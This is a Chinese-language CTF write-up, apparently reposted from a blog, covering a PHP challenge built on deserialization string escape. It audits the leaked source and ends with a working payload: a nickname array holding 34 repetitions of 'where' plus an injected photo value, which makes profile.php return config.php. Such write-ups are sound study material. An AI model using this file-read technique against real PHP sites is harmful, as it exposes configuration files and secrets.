前言
考點是反序列化字串逃逸
wp
首先這個題,一進來就是一個登錄平臺,就屬于一種基本的web網站的搭建,先登錄再去后臺,一般來說,可以sql注入之類的,但是我們習慣先看F12的原始碼,然后用御劍和dirsearch工具去掃描后臺或者檔案的泄露,
發現存在備份檔案泄露,www.zip,得到原始碼
開始代碼審計
config.php中發現了flag變數,看來題目目的是讓我們讀取config.php了,
我們來看下每個頁面:
index.php
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
}
?>
register.php:
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
這兩個個是登錄頁面和注冊頁面,要求我們輸入的用戶名和密碼的長度都在3-16內,
然后看class.php,現了過濾的函式,一些特殊的符號會用下劃線代替,一些特殊的關鍵字用hacker進行代替,
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
class.php中就是對傳入的資料進行過濾和進行資料庫操作
然后我們看update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
就是對上傳的資料和檔案進行處理和過濾,
在這個頁面我們要輸入phone,要求是11為的數字,email格式要求類似于1@qq.com,nickname要求為數字字母下劃線并且長度要小于等于10,注意:前兩個都是不滿足正則則退出,但是nickname是滿足才退出,我們可以用陣列繞過正則和strlen函式,比如 nickname=a!會die出去但是nickname[]=a!則會成功執行下面的陳述句,
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
有個關鍵點
$user->update_profile($username, serialize($profile));
這兒序列化,后面有反序列化,我們可以利用這一點
看個有趣的實驗
<?php
$p='abc';
$f = serialize(array($p));
var_dump($f);
?>
string(20) "a:1:{i:0;s:3:"abc";}"
$s = 'a:1:{i:0;s:3:"axx";}bc";}';
var_dump(unserialize($s));
輸出:
array(1) {
[0] =>
string(3) "axx"
}
這就實作了反序列化字串的逃逸
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>
這個php會把 n i c k n a m e , nickname, nickname,phone,$email輸出出來
所以我們只需要把photo的檔案名換成config.php,就可以把config.php的內容按照base64_encode的形式輸出出來,
我們輸入正常的電話郵箱綽號照片后,正常的序列化字串如下:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:3:"abc";s:5:"photo";s:39:"upload/47bce5c74f589f4867dbd57e9ca9f808";}
需要的字串
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:3:"abc";s:5:"photo";s:10:"config.php";}
我們唯一能利用的地方就是 nickname我們可以輸入 xxx";s:5:“photo”;s:10:“config.php”;}
這樣就可以把后面的忽略掉但是這個xxx的長度我們要保證符合真實的長度,這里正好可以利用過濾里的方法,因為nickname是先序列化然后再過濾的,但是生成的序列化字串的長度還是原來的,比如我們nickname輸入的是where長度是5 經過過濾后變成hacker長度變成了6.這時我們就可以有一個長度的字符可以利用,每輸入一個where就有一個
我們根據我們的目的字串內容,需要填充的是";}s:5:“photo”;s:10:“config.php”;}長度為34,如果我們輸入34個where則足夠填充這些字符達到逃逸的目的
所以最終的payload為
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
因為其他的幾個過濾函式都是6個字符,所以只能用where,
因此我們的操作是:
1.先訪問/register.php,注冊
2.登錄注冊的
3.上傳東西(符合條件),然后抓包,改引數,放包

4.訪問prefile.php,找圖片的原始碼,得到base64的編碼,解碼就是flag
參考鏈接:https://blog.csdn.net/miuzzx/article/details/104598338
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/357020.html
標籤:其他
上一篇:CTF-PHP常見考點實體小結
